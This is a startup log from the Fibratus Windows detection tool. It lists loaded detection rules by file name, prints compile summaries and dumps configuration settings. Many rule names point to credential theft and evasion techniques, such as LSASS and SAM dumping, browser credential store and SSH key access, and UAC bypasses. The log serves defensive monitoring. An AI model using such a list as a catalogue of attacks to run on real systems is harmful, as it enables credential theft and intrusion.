source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-26T12:30:14+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-26T12:30:14+01:00 level=info msg=bootstrapping with pid 17464. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T12:30:14+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ use-template=>true port=>25 content-type=>text/html to=>[] enabled=>false] eventlog=>[ verbose=>true enabled=>true] slack=>[ enabled=>false] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-envs=>true serialize-handles=>false serialize-threads=>false serialize-images=>false] + eventsource .................... [ flush-interval=>1s enable-audit-api=>true stack-enrichment=>true enable-image=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-threadpool=>false enable-net=>true enable-mem=>false enable-dns=>false enable-handle=>false enable-fileio=>true enable-registry=>true min-buffers=>16 max-buffers=>36 buffer-size=>512 enable-vamap=>true enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true max-size=>100 formatter=>text max-backups=>15 max-age=>0 level=>info] + output ......................... [ http=>[ serializer=>json enable-gzip=>false timeout=>5s method=>POST endpoints=>[] enabled=>false tls-insecure-skip-verify=>false] eventlog=>[ level=>info enabled=>false] amqp=>[ routing-key=>fibratus tls-insecure-skip-verify=>false exchange=>fibratus passive=>false enabled=>false url=>amqp://localhost:5672 exchange-type=>topic delivery-mode=>transient durable=>false timeout=>5s vhost=>/] elasticsearch=>[ healthcheck=>true bulk-workers=>1 template-name=>fibratus timeout=>5s trace-log=>false healthcheck-timeout=>5s gzip-compression=>false healthcheck-interval=>10s index-name=>fibratus servers=>[http://127.0.0.1:9200] flush-period=>1s enabled=>false sniff=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +]] + pe ............................. [ read-sections=>false enabled=>false read-symbols=>false read-resources=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-procs=>[] fastscan=>true skip-registry=>false scan-timeout=>10s excluded-files=>[] skip-mmaps=>false skip-files=>false skip-allocs=>false enabled=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-26T12:30:14+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-26T12:30:17+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-26T12:43:38+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:43:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-26T12:43:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-11-26T12:43:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-26T12:43:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-26T12:43:39+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-26T12:43:39+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-26T12:43:39+01:00 level=info msg=bootstrapping with pid 17252. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T12:43:39+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ verbose=>true enabled=>true] systray=>[ sound=>true enabled=>false quiet-mode=>false] slack=>[ enabled=>false] mail=>[ use-template=>true to=>[] port=>25 content-type=>text/html enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-images=>false serialize-pe=>false serialize-threads=>false serialize-handles=>false] + eventsource .................... [ min-buffers=>16 enable-thread=>true enable-audit-api=>true stack-enrichment=>true enable-vamap=>true enable-mem=>false enable-dns=>false enable-handle=>false enable-fileio=>true enable-net=>true enable-registry=>true enable-threadpool=>false buffer-size=>512 flush-interval=>1s max-buffers=>36 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-image=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 level=>info max-size=>100 max-backups=>15 log-stdout=>true formatter=>text] + output ......................... [ amqp=>[ exchange-type=>topic tls-insecure-skip-verify=>false timeout=>5s vhost=>/ durable=>false url=>amqp://localhost:5672 delivery-mode=>transient passive=>false exchange=>fibratus routing-key=>fibratus enabled=>false] eventlog=>[ enabled=>false level=>info] http=>[ enable-gzip=>false tls-insecure-skip-verify=>false endpoints=>[] serializer=>json timeout=>5s enabled=>false method=>POST] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] elasticsearch=>[ gzip-compression=>false healthcheck-interval=>10s enabled=>false servers=>[http://127.0.0.1:9200] healthcheck-timeout=>5s bulk-workers=>1 healthcheck=>true trace-log=>false flush-period=>1s index-name=>fibratus template-name=>fibratus timeout=>5s sniff=>false]] + pe ............................. [ enabled=>false read-resources=>false excluded-images=>[svchost.exe] read-sections=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-allocs=>false fastscan=>true excluded-procs=>[] excluded-files=>[] enabled=>false skip-files=>false skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-26T12:43:39+01:00 level=info msg=starting [Security Telemetry Logger] trace processing 